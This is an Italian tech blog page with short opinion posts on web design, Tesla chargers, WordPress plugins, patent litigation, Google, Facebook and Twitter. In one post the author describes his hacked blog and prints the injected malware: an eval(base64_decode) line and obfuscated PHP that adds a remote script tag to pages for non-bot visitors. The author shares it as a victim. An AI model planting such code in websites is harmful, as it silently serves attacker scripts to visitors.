Più simile ad un blog, buono. Meno simile ad un blog, no buono

La Regola Di Pell:

La definitiva e segreta guida al design per ogni rivista o giornale su web: più simile ad un blog, buono. Meno simile ad un blog, no buono.

Esercizio per il lettore: come si applica la regola di Pell al design di un blog (professionale o meno) ?

Tesla Supercharger – ricarica gratuita ad energia solare per auto elettriche

Stazione di rifornimento Tesla Supercharger

Elon Musk è l’imprenditore più interessante del momento. Le stazioni di ricarica Tesla Supercharger lo dimostrano ancora una volta:

  • Con mezz’ora di rifornimento si aggiungono quasi 250 chilometri di autonomia
  • Le stazioni super-charger sono ad energia solare
  • Il rifornimento è gratuito

L’impatto potenziale di questi Supercharger è enorme. Se Tesla riuscirà a diffonderli in maniera sufficientemente capillare, l’industria delle auto cambierà completamente.

Difficile resistere all’idea di comprare un auto-elettrica, di per sè ad emissioni zero, che può essere ricaricata comodamente in pochi minuti, con energia generata ad emissioni zero. GRATUITAMENTE.

Spero che Tesla sia veloce a portare queste stazioni di ricarica anche in Italia.

Spero anche che le altre case automobilistiche siano velocissime a copiare questa innovazione.

E già che sono in “a wishing mood”: spero che Tesla collabori con Google per far diventare driver-less le proprie auto.

Automattic liveblog plugin per WordPress

Automattic ha reso disponibile il plugin per i liveblog con WordPress.

Come tutto ciò che è WordPress, suscita in me due reazioni:

  1. Piacere, perché “democratizza” una funzione che fino a non molto tempo fa poteva richiedere un significativo dispendio di tempo e/o risorse
  2. Stupore per la maniera dispendiosa e un po’ pedestre in cui fa le cose. Per ogni utente collegato, una chiamata in polling ogni tre secondi, per dare risposta alla quale WordPress fa (almeno) 25 query, una delle quali è una select * ..." senza limit. Auguri quando il vostro liveblog supera qualche centinaio di aggiornamenti e/o di utenti collegati.

Bottom line: le persone che maggiormente potrebbero avvantaggiarsi di questo plugin sono anche quelle peggio equipaggiate per gestire l’eventuale fallout di questo plugin.

La giuria confusa

La giuria del processo Apple-Samsung ha basato il suo verdetto su pre-concetti del jury foreman, che pare prima aver deciso un verdetto e poi convinto il resto della giuria usando interpretazioni sbagliate delle leggi USA sui brevetti, soprattutto per quanto riguarda il tema della prior art (invenzioni precedenti che invalidano un brevetto).

Questo è quanto emerge dal gran lavoro che, come suo solito, Pamela Jones di Groklaw sta facendo sul verdetto.

A quanto si legge, sarà difficile per Samsung ottenere un annullamento del verdetto sulla base delle dichiarazioni della giuria, ma più luce viene fatta su come la giuria ha raggiunto la sua decisione, più un annullamento sembra opportuno.

Oh, Facebook, come mi conosci bene

Cara Facebook, avrò più fiducia delle tue capacità di generare colossali quantitativi di introiti pubblicitari quando metterai i tuoi inserzionisti in condizioni di NON mostrare ad un quasi-quarantaduenne nato nel 1970 pubblicità del tipo “compi 41 anni ?” con un bel 1971 a caratteri cubitali.

Dai, ti ho dato la mia data di nascita, puoi fare di meglio.

Con affetto.

Nexus 7, or “Commoditize your complements”

John Gruber non riesce a capacitarsi del fatto che Google ammetta in pubblico di vendere il Nexus 7 a prezzo di costo.

Questa “ammissione” mi sembra perfettamente coerente con l’uso strategico che Google fa di Android. Android è un fossato che sta a difesa del castello rappresentato da pubblicità contestuale e display (cit Bill Gurley).

La lezione fondamentale è: “commoditize your complements“, ovvero fai in modo che i prodotti complementari ai tuoi divengano delle commodities .

I prodotti strategici di Google sono la pubblicità contestuale e (sempre più) la pubblicità display. Il canale principale d’uso di questi prodotti è il browser. Chrome è un esempio di fossato, i contributi di Google a WebKit (in forma di codice) e Firefox (in forma di pagamenti per le ricerche) possono essere interpretati come sforzi di “commoditization” del browser, sforzi che hanno il vantaggio di rendere il browser relativamente più attraente rispetto a piattaforme concorrenti.

Android è un altro fossato il cui scopo è, contemporaneamente, di offrire un ambiente friendly per le applicazioni in-house di Google e di rendere più ostico l’ambiente competitivo (commoditization) per i produttori di smartphone e tablet, in primis Apple. Il Nexus 7 è il primo tablet Android decente, è comprensibile che l’obiettivo principale di Google sia intaccare la posizione dominante dell’iPad, piuttosto che fare margini. I margini Google li cercherà nel maggior uso che gli utenti faranno dei suoi prodotti strategici.

Victory for user freedom is not inevitable

Dice Clay Shirky:

“victory for user freedom is not inevitable, and is in fact only ever partial and rare.”

Non posso che essere pessimista riguardo alla libertà per gli utenti di smartphone, personal computer e piattaforme Internet.

Da una parte l’app-store Apple e i suoi emuli sottopongono ad approvazione preventiva i programmi disponibili. Questo dovrebbe darci grandi benefici in materia di sicurezza in cambio del sacrificio di una modica quantità di libertà sul tipo di programmi che possiamo sviluppare e/o usare. A questo proposito tocca scomodare il sempre attuale Benjamin Franklin:

chi è disposto a sacrificare la propria libertà per la sicurezza non merita né l’una né l’altra

Pensare che profit-maximising entities abbiano od avranno il minimo interesse a stimolare e consentire innovazione senza vincoli nel software da loro distribuito è segno di miopia. Tutto ciò che potrà creare problemi economici e/o politici e/o di immagine ai Tenutari dei Cancelli avrà vità breve (se avrà vita). E tutte le innovazioni veramente interessanti creano problemi economici e/o politici e/o politici ai Tenutari dei Cancelli.

E che dire delle piattaforme web usate ogni giorno da centinaia di milioni di utenti per le proprie comunicazioni pubbliche e private ? Anche qui la gamma di espressioni consentite rischia di venire progressivamente ristretta ad una uniforme brodaglia inoffensiva e non controversa, al minimo comune denominatore accettabile a tutti gli inserzionisti attivi sulla piattaforma. A questo proposito, chiunque abbia avuto a che fare con Google AdSense/AdWords in maniera non episodica sa di cosa parlo.

Mezzadria Multi-Tenutario

Twitter estende il rollout degli Expanded Tweets, tweet che possono essere ‘aperti’ per una preview del contenuto (che siano storie, immagini o video).

Da twitter-consumer lo trovo comodo, ma non mi piace per nulla la non-inclusività della piattaforma: “Twitter Cards will only render for domains which have been whitelisted by Twitter”, come fa notare Dave Winer.

Se pubblichi un sito, puoi richiedere l’inclusione, ma Twitter avvisa di non aspettarsi alcuna forma di feedback (e, ovviamente, devi aggiungere un nuovo set di metadati).

Sempre più siamo spinti verso forme di mezzadria multi-tenutario. Google, Facebook e ora Twitter ci chiedono di rendere più facile il loro lavoro e trattenere sempre più gli utenti al loro interno, offrendo brandelli di traffico.

Chiudo con Dave Winer:

Can we please, please — just go back to the really good thing we had when we all built on the same level platform, called the web. It was a big deal that it wasn’t owned by Silicon Valley.

G vs FB

Paul Kedrosky sul perché la IPO di Google era interessante per varie ragioni mentre quella di Facebook riguarda solo il denaro:

Google’s new services represented things I care about and that I think matter — discovery, curiosity, and transparency — Facebook represents things that I don’t care about — narrowing, nattering, tribalism, etc. More than not caring, these are mostly things for which I have active contempt, as they represent the antithesis of curiosity and openness, which are what Google (mostly) facilitates, and that Facebook (mostly) doesn’t.

WTF ?

Mi distraggo per qualche giorno e mi ritrovo il blog compromesso. Pochi giorni dopo l’upgrade a 3.0 ? WTF ?

Tutti i file .php dell’installazione erano stati modificati, con all’inizio del file un bel

< ?eval(base64_decode("{very_long_base64_string}") ?>

Se qualcuno si vuole divertire, la parte iniziale del codice di invocazione è:

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists(‘mrobh’)){ if(!function_exists(‘gml’)){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],”googlebot”)&& (!stristr($_SERVER["HTTP_USER_AGENT"],”yahoo”))){ return base64_decode(“PHNjcmlwdCBzcmM9Imh0dHA6Ly9kb21haW5hbWVhdC5jYy9qczIucGhwIj48L3NjcmlwdD4=”); } return “”; } } if(!function_exists(‘gzdecode’)){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack(‘v’,substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header(‘Content-Encoding: none’); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match(‘/\< \/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si’,gml().”\n”.’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start(‘mrobh’); } }

Update: ripubblicato dopo aver fatto pulizia più approfondita del sito.

Bacigalupi sull’ambientalismo

Whenever I think about the environment (Be Green; Love Mother Earth; Blah Blah Blah), I like to think of a family going out to a nice restaurant. Mom and Dad place their orders–but for some reason, the kids don’t get anything. Instead, the kids wait and watch while their parents gobble down dinner.

Their parents eat the arugula salad, the rosemary-infused bread, the sun-dried tomato farfalle, the veal piccata, and generally have a pretty great time. Maybe Mom’s wearing pearls, because, you know, it’s a nice restaurant. Dad is definitely wearing a tie–he’s classy that way. Mom and Dad go through a couple bottles of wine, linger over the tiramisu, and then, when they’re stuffed to the gills, they shove their picked-over and scraped-over plates down the table to their children, with the last bits of pasta and the runny lines of sauce, and some chewed-up bits of meat, and say, “Here kids, eat up!”

So the kids get the scraps, while their parents get the meal.

And then, to top it all off, Mom and Dad get up from the table and walk out the door, leaving the kids to deal with the pissed-off waiter who just showed up saying that the credit card has been declined. So the kids end up washing dishes in the back for the next couple hundred years to pay off the bill.

John Scalzi’s The Whatever cita Paolo Bacigalupi

Fanno davvero impressione certi sedicenti Cristiani…

Parafrasando Andrew Sullivan:

“Fanno davvero impressione certi sedicenti Cristiani che difendono la ricchezza mentre Gesù pretendeva la povertà assoluta, feticizzano la famiglia mentre Gesù abbandonò la sua ed esortò i suoi seguaci a lasciare mogli, mariti e bambini, si immischiano nella politica mentre Gesù diceva chiaramente che il suo Regno non era di questo mondo, difendono le guerre di religione mentre Gesù cercava sempre e ovunque la pace e sostengono la tortura che è ciò che i Romani fecero a Gesù.”

After the weekend

Notizie interessanti lette nel weekend:

Un blog sulle libertà digitali